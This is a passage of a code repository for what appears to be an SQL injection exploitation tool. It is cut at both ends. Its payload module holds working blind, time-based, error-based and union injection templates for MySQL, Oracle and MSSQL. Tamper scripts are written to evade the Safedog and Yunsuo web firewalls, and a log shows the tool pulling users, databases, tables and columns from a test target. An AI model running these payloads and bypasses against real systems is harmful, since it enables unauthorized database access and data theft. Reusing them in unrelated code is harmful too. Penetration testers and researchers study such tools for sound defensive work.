re.I) 201 | if not r: 202 | r = re.search(r'charset=[\'"]*([^\r\n\'">]+)', body, re.I) 203 | if r: 204 | charset = r.group(1).lower() 205 | if charset == 'utf-8': 206 | return body 207 | else: 208 | charset = 'utf-8' 209 | try: 210 | body = body.decode(charset, 'ignore').encode('utf-8') 211 | except: 212 | pass 213 | return body 214 | 215 | def _send_output(self, oldfun, con, log): 216 | def _send_output_hook(*args, **kwargs): 217 | log['request'] = "\r\n".join(con._buffer) 218 | oldfun(*args, **kwargs) 219 | con._send_output = oldfun 220 | return _send_output_hook 221 | 222 | def http(self, url, post=None, **kwargs): 223 | r'''hh.http(...) -> (code, head, html, redirtct_url, log) 224 | 225 | Send an HTTP Request. 226 | 227 | kwargs: 228 | 229 | ********* 230 | 231 | param: post: Set http POST data. 232 | 233 | eg: 234 | post = "key1=val1&key2=val2" 235 | 236 | ********* 237 | 238 | param: header: 239 | param: headers: Set http headers. If you set header, headers will drop. 240 | 241 | eg: 242 | 243 | header = 'Referer:https://bugscan.net\r\nUser-Agent: hackhttp user-agent' 244 | 245 | eg: 246 | headers={ 247 | 'Referer': 'https://bugscan.net', 248 | 'User-Agent': 'hackhttp user-agent' 249 | } 250 | 251 | ********* 252 | 253 | param: method: Set HTTP Request Method, default value is 'GET'. 254 | If the param "post" is set, the method will auto change to 'POST' 255 | The value of this param you can find it in RFC2616. 256 | 257 | Method List: 258 | OPTIONS, GET, HEAD, POST, 259 | PUT, DELETE, TRACE, CONNECT 260 | 261 | eg: 262 | method = 'POST' 263 | 264 | ********* 265 | 266 | param: raw: Set HTTP raw package. 267 | 268 | eg: 269 | raw = """POST /post HTTP/1.1 270 | Host: httpbin.org 271 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0 272 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 273 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 274 | Accept-Encoding: gzip, deflate 275 | Connection: close 276 | Content-Type: application/x-www-form-urlencoded 277 | Content-Length: 19 278 | 279 | key1=val1&key2=val2""" 280 | 281 | ********* 282 | 283 | param: proxy: Set HTTP Proxy, support http protocol. 284 | 285 | eg: 286 | proxy = ('127.0.0.1', 9119) 287 | 288 | ********* 289 | 290 | param:cookcookie: Auto set cookie and get cookie. 291 | 292 | cookcookie=True 293 | 294 | ********* 295 | 296 | param: location: Auto redirect when 302. 297 | 298 | eg: 299 | location=True 300 | 301 | ********* 302 | 303 | param: throw_exception: Throw exception or pass when exception occurred. 304 | eg: 305 | throw_exception=True 306 | 307 | ********* 308 | 309 | param: data: HTTP Request Data,when param is None. 310 | 311 | eg, application/x-www-form-urlencoded : 312 | 313 | data="key1=val1&key2=val2" 314 | 315 | eg, application/json: 316 | 317 | data='{"key1": "val1", "key2": "val2"}' 318 | 319 | ''' 320 | headers = kwargs.get('header', '') or kwargs.get('headers', {}) 321 | method = kwargs.get('method', None) 322 | raw = kwargs.get('raw', None) 323 | proxy = kwargs.get('proxy', None) 324 | if not post: 325 | post = kwargs.get('data', None) 326 | if type(post) == unicode: 327 | post = post.encode('utf-8', 'ignore') 328 | if type(raw) == unicode: 329 | raw = raw.encode('utf-8', 'ignore') 330 | cookcookie = kwargs.get('cookcookie', True) 331 | location = kwargs.get('location', True) 332 | throw_exception = kwargs.get('throw_exception', self.throw_exception) 333 | 334 | if headers and (isinstance(headers, str) or isinstance(headers, unicode)): 335 | headers = httpheader(StringIO.StringIO(headers), 0).dict 336 | for arg_key, h in[ 337 | ('cookie', 'Cookie'), 338 | ('referer', 'Referer'), 339 | ('user_agent', 'User-Agent'), ]: 340 | if kwargs.get(arg_key): 341 | headers[h] = kwargs.get(arg_key) 342 | 343 | try: 344 | if raw: 345 | return self.httpraw( 346 | url, raw=raw, proxy=proxy, cookcookie=cookcookie, 347 | location=location) 348 | else: 349 | return self._http( 350 | url, post=post, headers=headers, method=method, 351 | proxy=proxy, cookcookie=cookcookie, 352 | location=location, locationcount=0) 353 | except: 354 | if throw_exception: 355 | raise 356 | else: 357 | return 0, '', '', '', {'url': '', 'request': '', 'response': ''} 358 | 359 | def _http( 360 | self, url, post=None, headers={}, method=None, 361 | proxy=None, cookcookie=True, location=True, locationcount=0): 362 | 363 | if not method: 364 | if post: 365 | method = "POST" 366 | else: 367 | method = "GET" 368 | rep = None 369 | urlinfo = https, host, port, path = self._get_urlinfo(url) 370 | log = {} 371 | con = self.conpool._get_connect(urlinfo, proxy) 372 | # con .set_debuglevel(2) #? 373 | conerr = False 374 | try: 375 | con._send_output = self._send_output(con._send_output, con, log) 376 | tmpheaders = copy.deepcopy(headers) 377 | tmpheaders['Accept-Encoding'] = 'gzip, deflate' 378 | tmpheaders['Connection'] = 'Keep-Alive' 379 | tmpheaders['User-Agent'] = tmpheaders['User-Agent'] if tmpheaders.get('User-Agent') else 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36' 380 | 381 | if cookcookie: 382 | c = self.cookiepool.get(host, None) 383 | if not c: 384 | self.cookiepool[host] = self.initcookie 385 | c = self.cookiepool.get(host) 386 | if 'Cookie' in tmpheaders: 387 | cookie_str = tmpheaders['Cookie'].strip() 388 | if not cookie_str.endswith(';'): 389 | cookie_str += ";" 390 | for cookiepart in cookie_str.split(";"): 391 | if cookiepart.strip() != "": 392 | cookiekey, cookievalue = cookiepart.split("=", 1) 393 | c[cookiekey.strip()] = cookievalue.strip() 394 | for k in c.keys(): 395 | m = c[k] 396 | # check cookie path 397 | if path.find(m['path']) != 0: 398 | continue 399 | expires = m['expires'] 400 | if not expires: 401 | continue 402 | # check cookie expires time 403 | if cookielib.http2time(expires) < time.time(): 404 | del c[k] 405 | cookie_str = c.output(attrs=[], header='', sep=';').strip() 406 | if cookie_str: 407 | tmpheaders['Cookie'] = cookie_str 408 | if post: 409 | tmpheaders['Content-Type'] = tmpheaders.get( 410 | 'Content-Type', 'application/x-www-form-urlencoded') 411 | else: 412 | # content-length err 411 413 | tmpheaders[ 414 | 'Content-Length'] = tmpheaders.get('Content-Length', 0) 415 | if method == 'GET': 416 | del tmpheaders['Content-Length'] 417 | con.request(method, path, post, tmpheaders) 418 | rep = con.getresponse() 419 | body = rep.read() 420 | encode = rep.msg.get('content-encoding', None) 421 | if encode == 'gzip': 422 | body = gzip.GzipFile(fileobj=StringIO.StringIO(body)).read() 423 | elif encode == 'deflate': 424 | try: 425 | body = zlib.decompress(body, -zlib.MAX_WBITS) 426 | except: 427 | body = zlib.decompress(body) 428 | body = self._decode_html( 429 | rep.msg.dict.get('content-type', ''), body) 430 | retheader = Compatibleheader(str(rep.msg)) 431 | retheader.setdict(rep.msg.dict) 432 | redirect = rep.msg.dict.get('location', url) 433 | if not redirect.startswith('http'): 434 | redirect = urlparse.urljoin(url, redirect) 435 | if cookcookie and "set-cookie" in rep.msg.dict: 436 | c = self.cookiepool[host] 437 | c.load(rep.msg.dict['set-cookie']) 438 | except httplib.ImproperConnectionState: 439 | conerr = True 440 | raise 441 | except: 442 | raise 443 | finally: 444 | if conerr or (rep and rep.msg.get('connection') == 'close') or proxy: 445 | self.conpool._release_connect(urlinfo) 446 | con.close() 447 | else: 448 | self.conpool._put_connect(urlinfo, con) 449 | 450 | log["url"] = url 451 | if post: 452 | log['request'] += "\r\n\r\n" + post 453 | log["response"] = "HTTP/%.1f %d %s" % ( 454 | rep.version * 0.1, rep.status, 455 | rep.reason) + '\r\n' + str(retheader) + '\r\n' + (body[:4096]) 456 | if location and url != redirect and locationcount < 5: 457 | method = 'HEAD' if method == 'HEAD' else 'GET' 458 | a, b, c, d, e = self._http( 459 | redirect, method=method, proxy=proxy, 460 | cookcookie=cookcookie, location=location, 461 | locationcount=locationcount + 1) 462 | log["response"] = e["response"] 463 | return a, b, c, d, log 464 | return rep.status, retheader, body, redirect, log 465 | 466 | def httpraw(self, url, raw, proxy=None, cookcookie=True, location=True): 467 | urlinfo = https, host, port, path = self._get_urlinfo(url) 468 | raw = StringIO.StringIO(raw.lstrip()) 469 | requestline = raw.readline().rstrip() 470 | words = requestline.split() 471 | if len(words) == 3: 472 | command, _, _ = words 473 | elif len(words) == 2: 474 | command, _ = words 475 | else: 476 | raise Exception('http raw parse error') 477 | headers = httpheader(raw, 0).dict 478 | rawbody = '' 479 | content_type = headers.get('Content-Type', "") 480 | # Content-Type: application/x-www-form-urlencoded 481 | # Content-Type: multipart/form-data 482 | if content_type.startswith('application/x-www-form-urlencoded'): 483 | while 1: 484 | line = raw.readline() 485 | if line == '': 486 | rawbody = rawbody[:-2] 487 | break 488 | rawbody += line.rstrip() + '\r\n' 489 | if content_type.startswith('multipart/form-data'): 490 | while 1: 491 | line = raw.readline() 492 | if line == '': 493 | break 494 | if line[:2] == "--": 495 | if rawbody != "" and rawbody[-2:] != '\r\n': 496 | rawbody = rawbody[:-1] + '\r\n' 497 | rawbody += line.rstrip() + '\r\n' 498 | elif line[:8].lower() == 'content-': 499 | rawbody += line.rstrip() + '\r\n' 500 | line = raw.readline() 501 | if line[:8].lower() == 'content-': 502 | rawbody += line.rstrip() + '\r\n' 503 | raw.readline() 504 | rawbody += '\r\n' 505 | else: 506 | rawbody += line 507 | headers['Host'] = host 508 | headers['Content-Length'] = str(len(rawbody)) 509 | return self._http( 510 | url, post=rawbody, headers=headers, method=command, 511 | proxy=proxy, cookcookie=cookcookie, location=location) -------------------------------------------------------------------------------- /lib/core/settings.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | import os 7 | import subprocess 8 | 9 | IS_WIN = subprocess.mswindows 10 | VERSION = '1.0.0' 11 | PROJECT = "flySQLEXP" 12 | AUTHOR = 'flystart' 13 | MAIL = 'root@flystart.org' 14 | PLATFORM = os.name 15 | LICENSE = 'GPLv2' 16 | BANNER =""" 17 | 18 | ______ ______ __ ( ) 19 | /_____/\ /_____/\ /_/\ ))\ ( /( ` ) 20 | \::::_\/_\:::_ \ \ \:\ \ /((_))\())/(/( 21 | \:\/___/\\:\ \ \ \_\:\ \ (_)) ((_)\((_)_\ 22 | \_::._\:\\:\ \ /_ \\:\ \____ / -_)\ \ /| '_ \) 23 | /____\:\\:\_- \ \\:\/___/\ \___|/_\_\| .__/ 24 | \_____\/ \___|\_\_/\_____\/ |_| 25 | 26 | Version %s by %s mail:%s 27 | """ % (VERSION, AUTHOR, MAIL) 28 | 29 | # Encoding used for Unicode data 30 | UNICODE_ENCODING = "utf-8" 31 | # String representation for NULL value 32 | NULL = "NULL" 33 | # Format used for representing invalid unicode characters 34 | INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" -------------------------------------------------------------------------------- /lib/parse/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/parse/cmdline.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | import sys 8 | import os 9 | from lib.core.settings import IS_WIN 10 | from lib.core.common import get_unicode 11 | from lib.core.defaults import defaults 12 | from optparse import OptionError 13 | from optparse import OptionGroup 14 | from optparse import OptionParser 15 | 16 | 17 | def cmdline_parse(argv=None): 18 | if not argv: 19 | argv = sys.argv 20 | _ = get_unicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) 21 | usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ 22 | "\"%s\"" % _ if " " in _ else _) 23 | 24 | parser = OptionParser(usage=usage) 25 | parser.print_help() 26 | try: 27 | parser.add_option("-v","--version", dest="showVersion", 28 | action="store_true", 29 | help="Show program's version number and exit") 30 | target = OptionGroup(parser, "Target", "At least one of these " 31 | "options has to be provided to define the target(s)") 32 | target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") 33 | # Request options 34 | target.add_option("-r", "--raw", dest="raw_req", help="Raw request packet file.") 35 | # Request options 36 | request = OptionGroup(parser, "Request", "These options can be used " 37 | "to specify how to connect to the target URL") 38 | request.add_option("--method", dest="method",default = "get", 39 | help="Force usage of given HTTP method (e.g. GET|POST)") 40 | 41 | request.add_option("--data", dest="data", 42 | help="Data string to be sent through POST") 43 | request.add_option("--cookie", dest="cookie", 44 | help="HTTP Cookie header value") 45 | request.add_option("--proxy", dest="proxy", 46 | help="Use a proxy to connect to the target URL,only can use http proxy:[http://127.0.0.1:8080]") 47 | request.add_option("--timeout", dest="timeout", type="float",default =defaults.timeout, 48 | help="Seconds to wait before timeout connection ") 49 | request.add_option("--delay", dest="delay_time", type="float",default =defaults.delay_time, 50 | help="dbms delay timeout ") 51 | # Injection options 52 | injection = OptionGroup(parser, "Injection", "These options can be " 53 | "used to specify which parameters to test " 54 | "for, provide custom injection payloads and " 55 | "optional tampering scripts") 56 | injection.add_option("-p", dest="parameter", 57 | help="Testable parameter(s)") 58 | injection.add_option("--dbms", dest="dbms", 59 | help="Force back-end DBMS to this value") 60 | injection.add_option("--technique", dest="tech", default= defaults.tech, 61 | help="SQL injection techniques to use " 62 | "(default \"%s\")" % defaults.tech) 63 | injection.add_option("--string",dest="flag", 64 | help="String to match when query is evaluated to True") 65 | injection.add_option("--time-sec", dest="time_sec", type="int",default =defaults.timesec, 66 | help="Seconds to wait before timeout connection ") 67 | injection.add_option("--order-sec",dest="order_sec", 68 | help="Resulting page URL searched for second-order " 69 | "response") 70 | injection.add_option("--tamper",dest="tamper", 71 | help="Use given script(s) for tampering injection data") 72 | injection.add_option("--current-user", dest="getCurrentUser", 73 | action="store_true", 74 | help="Retrieve DBMS current user") 75 | 76 | injection.add_option("--current-db", dest="getCurrentDb", 77 | action="store_true", 78 | help="Retrieve DBMS current database") 79 | injection.add_option("--dbs", dest="getDbs", action="store_true", 80 | help="Enumerate DBMS databases") 81 | injection.add_option("--tables", dest="getTables", action="store_true", 82 | help="Enumerate DBMS database tables") 83 | injection.add_option("--columns", dest="getColumns", action="store_true", 84 | help="Enumerate DBMS database table columns") 85 | injection.add_option("--dump", dest="dumpTable", action="store_true", 86 | help="Dump DBMS database table entries") 87 | injection.add_option("-D", dest="db", 88 | help="DBMS database to enumerate") 89 | injection.add_option("-T", dest="tbl", 90 | help="DBMS database table(s) to enumerate") 91 | injection.add_option("-C", dest="col", 92 | help="DBMS database table column(s) to enumerate") 93 | 94 | 95 | misc = OptionGroup(parser, "Misc", "These options can be show some additional function.") 96 | misc.add_option('--debug', dest="debug", default=False, action='store_true', 97 | help='show deubg payload.') 98 | parser.add_option_group(target) 99 | parser.add_option_group(request) 100 | parser.add_option_group(injection) 101 | parser.add_option_group(misc) 102 | _ = [] 103 | for arg in argv: 104 | _.append(get_unicode(arg, encoding=sys.stdin.encoding)) 105 | argv = _ 106 | (args, _) = parser.parse_args(argv) 107 | except Exception, e: 108 | raise Exception 109 | return args -------------------------------------------------------------------------------- /lib/parse/payload.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | from lib.core.data import SQL,BOUNDARY 7 | from lib.core.common import conf 8 | 9 | SEP_CHAR = " " 10 | ''' 11 | database boundarys and query payload 12 | ''' 13 | mysql_boundarys = { 14 | "union":"and 5=8 (%query)", 15 | "length":" and length(%query)=%value", 16 | "double_length":"and length(%query)>%value", 17 | "time_length":"and if((length(%query)>%value),sleep({T}),0)".format(T = conf.time_sec), 18 | "count_enmu":"and %query = %value", 19 | "blind_count":"and %query > %value", 20 | "time_count":"and if((%query > %value),sleep({T}),0)".format(T = conf.time_sec), 21 | "blind_enmu":"and ord(substr((%query) from %index for 1))=%value", 22 | "blind":"and ord(substr((%query) from %index for 1))>%value", 23 | #"error":"and exp(~(select * from(select (%query))a))" 24 | "union":"and 9=7 union (%query)", 25 | "time":"and if((ord(substr((%query) from %index for 1))>%value),sleep({T}),0)".format(T = conf.time_sec), 26 | "error":"and ((select 1 from(select count(*),concat((select (%query) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a))" 27 | } 28 | mysql_payloads = { 29 | "query":"(select %s from t_n)", 30 | "base_query":"(select %s from t_n limit %d,1)", 31 | "base_query2":"(select group_concat(%s) from t_n)", 32 | "query_tab":"(select %s from t_n where table_schema={db} limit %d,1)", 33 | "query_col":"(select %s from t_n where table_schema={db} and table_name={table} limit %d,1)" 34 | } 35 | 36 | oracle_boundarys = { 37 | "length":"and length(%query)=%value", 38 | "time_length":"and 5=(CASE WHEN (length(%query)>%value) THEN DBMS_PIPE.RECEIVE_MESSAGE(1,{T}) ELSE 0 END)".format(T = conf.time_sec), 39 | "double_length":"and length(%query)>%value", 40 | "count":"and %query = %value", 41 | "blind_count":"and %query > %value", 42 | "time_count":"and 5=(CASE WHEN (%query>%value) THEN DBMS_PIPE.RECEIVE_MESSAGE(1,{T}) ELSE 0 END)".format(T = conf.time_sec), 43 | "blind_enmu":"and ascii(substr(cast((%query)as varchar(4000)),%index,1))=%value", 44 | "blind":"and ascii(substr(cast((%query)as varchar(4000)),%index,1))>%value", 45 | "time":"5=(CASE WHEN (ascii(substr(%query,%index,1))>%value) THEN DBMS_PIPE.RECEIVE_MESSAGE(1,{T}) ELSE 0 END)".format(T = conf.time_sec), 46 | #"error":"and exp(~(select * from(select (%query))a))" 47 | "union":"and 9=7 union (%query)", 48 | "error":"and 1=upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||cast((%query)as varchar(4000))||chr(58)||chr(45)||chr(45)||chr(58)))" 49 | } 50 | 51 | oracle_payloads = { 52 | "query":"(select %s from t_n)", 53 | "base_query":"(select temp from (select (%s) as temp,ROWNUM as limit from t_n) where limit=%d)", 54 | "query_tab":"(select tn from (select (%s) as tn, ROWNUM as limit from all_tables where owner=upper({db})) where limit=%d)", 55 | "query_all_tab":"(select (%s) from t_n where owner=upper({db}))", 56 | "query_col":"(select col from (select (%s) as col,ROWNUM as limit from all_TAB_COLUMNS where owner=upper({db}) and table_name=upper({table})) where limit=%d)", 57 | "query_all_col":"(select (%s) from all_TAB_COLUMNS where owner=upper({db}) and table_name=upper({table}))" 58 | } 59 | mssql_boundarys = { 60 | "length":"and len(%query)=%value", 61 | "time_length":"if(len(%query)>%value) WAITFOR DELAY '0:0:{T}'".format(T = conf.time_sec), 62 | "double_length":"and len(%query)>%value", 63 | "count":"and %query = %value", 64 | "blind_count":"and %query > %value", 65 | "time_count":"if(%query>%value) WAITFOR DELAY '0:0:{T}'".format(T = conf.time_sec), 66 | "blind_enmu":"and ascii(substring(%query,%index,1))=%value", 67 | "blind":"and ascii(substring((cast((%query) as varchar(2000))),%index,1))>%value", 68 | "time":"if(ascii(substring((cast((%query) as varchar(2000))),%index,1))>%value) WAITFOR DELAY '0:0:{T}'".format(T = conf.time_sec), 69 | #"error":"and exp(~(select * from(select (%query))a))" 70 | "union":"and 9=7 union (%query)", 71 | "error":"and convert(int,(char(58)+char(45)+char(45)+char(58)+cast((%query) as varchar(2000))+char(58)+char(45)+char(45)+char(58)))=1" 72 | } 73 | mssql_payloads = { 74 | "query":"(select %s from t_n)", 75 | "base_query":"(select temp from (select ROW_NUMBER() OVER(order by (select 0)) AS limit,(%s) as temp from t_n)xx where limit=%d)", 76 | "query_tab":"(select tn from (select ROW_NUMBER() OVER(order by (select 0)) AS limit,(%s) as tn from {db}.t_n)xx where limit=%d)", 77 | "query_all_tab":"(select (%s) from {db}.t_n)", 78 | "query_col":"(select col from (select ROW_NUMBER() OVER(order by (select 0)) AS limit, (%s) as col from {db}.information_schema.columns where TABLE_NAME={table})xx where limit=%d)", 79 | "query_all_col":"(select (%s) from {db}.information_schema.columns where TABLE_NAME={table})" 80 | } 81 | 82 | if conf.dbms == 'mysql': 83 | BOUNDARY.update(mysql_boundarys) 84 | SQL.update(mysql_payloads) 85 | if conf.dbms == 'oracle': 86 | BOUNDARY.update(oracle_boundarys) 87 | SQL.update(oracle_payloads) 88 | if conf.dbms == 'mssql': 89 | BOUNDARY.update(mssql_boundarys) 90 | SQL.update(mssql_payloads) -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/utils/check_platform.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | import platform 8 | 9 | 10 | def is_win(): 11 | ret = False 12 | if platform.system()=='Windows': 13 | ret = True 14 | return ret -------------------------------------------------------------------------------- /output/files/log.txt: -------------------------------------------------------------------------------- 1 | get current_user 2 | CurrentUser:root@localhost 3 | CurrentUser is:root@localhost 4 | Please input url and inject paramter!!! 5 | get current_user 6 | CurrentUser: 7 | CurrentUser is: 8 | get current_user 9 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x4c36764b73,user(),0x4c36764b73,1) from information_schema.schemata limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 10 | CurrentUser: 11 | CurrentUser is: 12 | get current_user 13 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x6e42527a67,user(),0x6e42527a67,1) from information_schema.schemata limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 14 | CurrentUser:test@localhost 15 | CurrentUser is:test@localhost 16 | list tables 17 | 'NoneType' object is not iterable 18 | Traceback (most recent call last): 19 | File "SQLEXP.py", line 58, in main 20 | start() 21 | File "D:\git_work\SQLEXP\lib\controller\hander.py", line 10, in start 22 | action() 23 | File "D:\git_work\SQLEXP\lib\controller\action.py", line 137, in action 24 | act.get_tables() 25 | File "D:\git_work\SQLEXP\lib\controller\action.py", line 68, in get_tables 26 | for db in dbs: 27 | TypeError: 'NoneType' object is not iterable 28 | 29 | list all databases 30 | CountsEnties:2 31 | all dbs counts is :2 32 | Ent:information_schema 33 | Ent:test 34 | +--------------------+ 35 | | DATABASE: | 36 | +--------------------+ 37 | | information_schema | 38 | | test | 39 | +--------------------+ 40 | list tables 41 | CountsEnties:2 42 | all dbs counts is :2 43 | Ent:secert 44 | Ent:user 45 | test 46 | +---------+ 47 | | TABLES: | 48 | +---------+ 49 | | secert | 50 | | user | 51 | +---------+ 52 | list columns 53 | CountsEnties:1 54 | Ent:secert 55 | +--------+ 56 | | secert | 57 | +--------+ 58 | | secert | 59 | +--------+ 60 | [u'secert'] 61 | [u'secert'] 62 | test.secert 63 | 64 | CountsEnties:1 65 | Ent:test.secert.['secert']: 66 | +--------+ 67 | | secert | 68 | +--------+ 69 | | | 70 | +--------+ 71 | [u'secert'] 72 | [u'user'] 73 | test.secert 74 | 75 | CountsEnties:1 76 | Ent:test.secert.['user']: 77 | +------+ 78 | | user | 79 | +------+ 80 | | | 81 | +------+ 82 | list columns 83 | CountsEnties:1 84 | Ent:secert 85 | +--------+ 86 | | secert | 87 | +--------+ 88 | | secert | 89 | +--------+ 90 | list columns 91 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x3357645956,count(*),0x3357645956,1) from information_schema.columns where table_schema=0x74657374 and table_name=0x736563657274 limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 92 | CountsEnties:1 93 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x54364a5931,column_name,0x54364a5931,1) from information_schema.columns where table_schema=0x74657374 and table_name=0x736563657274 limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 94 | Ent:secert 95 | +--------+ 96 | | secert | 97 | +--------+ 98 | | secert | 99 | +--------+ 100 | [u'secert'] 101 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x6653424341,count(*),0x6653424341,1) from information_schema.columns where table_schema=0x74657374 and table_name=0x736563657274 limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 102 | CountsEnties:1 103 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x344c543730,column_name,0x344c543730,1) from information_schema.columns where table_schema=0x74657374 and table_name=0x736563657274 limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 104 | Ent:secert 105 | [u'secert'] 106 | test.secert 107 | 108 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x533747594f,count(*),0x533747594f,1) from test.secert limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 109 | CountsEnties:1 110 | and ((select 1 from(select count(*),concat((select ((select concat(1,0x6d31466251,secert,0x6d31466251,1) from test.secert limit 0,1)) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)) 111 | Ent:test.secert.['secert']: 112 | +--------+ 113 | | secert | 114 | +--------+ 115 | | | 116 | +--------+ 117 | -------------------------------------------------------------------------------- /paper/SQL_BypassWaf.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/paper/SQL_BypassWaf.pdf -------------------------------------------------------------------------------- /req.txt: -------------------------------------------------------------------------------- 1 | POST /sqlinject/sqlinject.php HTTP/1.1 2 | Host: 192.168.181.228 3 | Content-Length: 18 4 | Cache-Control: max-age=0 5 | Origin: http://192.168.181.228 6 | Upgrade-Insecure-Requests: 1 7 | Content-Type: application/x-www-form-urlencoded 8 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 9 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 10 | Referer: http://192.168.181.228/sqlinject/sqlinject.php 11 | Accept-Encoding: gzip, deflate 12 | Accept-Language: zh-CN,zh;q=0.9 13 | Connection: close 14 | 15 | id=1$*$&submit=submit -------------------------------------------------------------------------------- /tamper/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /tamper/mysql_safedog_bypass.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | b = " xor exp(~(/*!50000select*/*from(select(%query))a))" 7 | 8 | 9 | def do(strings): 10 | if "concat" in strings: 11 | strings = strings.replace('concat(',"/*!concat*/(") 12 | if "user" in strings: 13 | strings = strings.replace('user(',"/*!user*/(") 14 | strings = strings.replace(' and ', "&&") 15 | return strings 16 | 17 | 18 | def tamper(boundary,query): 19 | # print 'tamper' 20 | boundary = b 21 | query = do(query) 22 | return boundary,query -------------------------------------------------------------------------------- /tamper/mysql_yunsuo_bypass.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | b = " xor exp(~(select * from(select (%query))a))" 7 | 8 | 9 | def do(strings): 10 | if "concat" in strings: 11 | strings = strings.replace('concat(',"/*!concat*/(") 12 | strings = strings.replace('select','/*!50000select/*!40000*/') 13 | strings = strings.replace(' and ',"&&") 14 | return strings 15 | 16 | 17 | def tamper(boundary,query): 18 | # print 'tamper' 19 | # boundary = b 20 | boundary = do(boundary) 21 | query = do(query) 22 | return boundary,query -------------------------------------------------------------------------------- /tamper/workxz.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | def do(strings): 8 | strings = strings.replace(' ','/**/') 9 | return strings 10 | 11 | def tamper(boundary,query): 12 | # print 'tamper' 13 | boundary = "a' XOR(if(now(),0,0))OR'1'AND({bou})ANd '8'='8".format(bou=boundary) 14 | boundary = do(boundary) 15 | query = do(query) 16 | return boundary,query -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | -------------------------------------------------------------------------------- /thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/ansistrm/ansistrm.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. 3 | # 4 | import logging 5 | import os 6 | import re 7 | 8 | from lib.core.convert import stdoutencode 9 | 10 | 11 | class ColorizingStreamHandler(logging.StreamHandler): 12 | # color names to indices 13 | color_map = { 14 | 'black': 0, 15 | 'red': 1, 16 | 'green': 2, 17 | 'yellow': 3, 18 | 'blue': 4, 19 | 'magenta': 5, 20 | 'cyan': 6, 21 | 'white': 7, 22 | } 23 | 24 | # levels to (background, foreground, bold/intense) 25 | if os.name == 'nt': 26 | level_map = { 27 | logging.DEBUG: (None, 'blue', False), 28 | logging.INFO: (None, 'green', False), 29 | logging.WARNING: (None, 'yellow', False), 30 | logging.ERROR: (None, 'red', False), 31 | logging.CRITICAL: ('red', 'white', False) 32 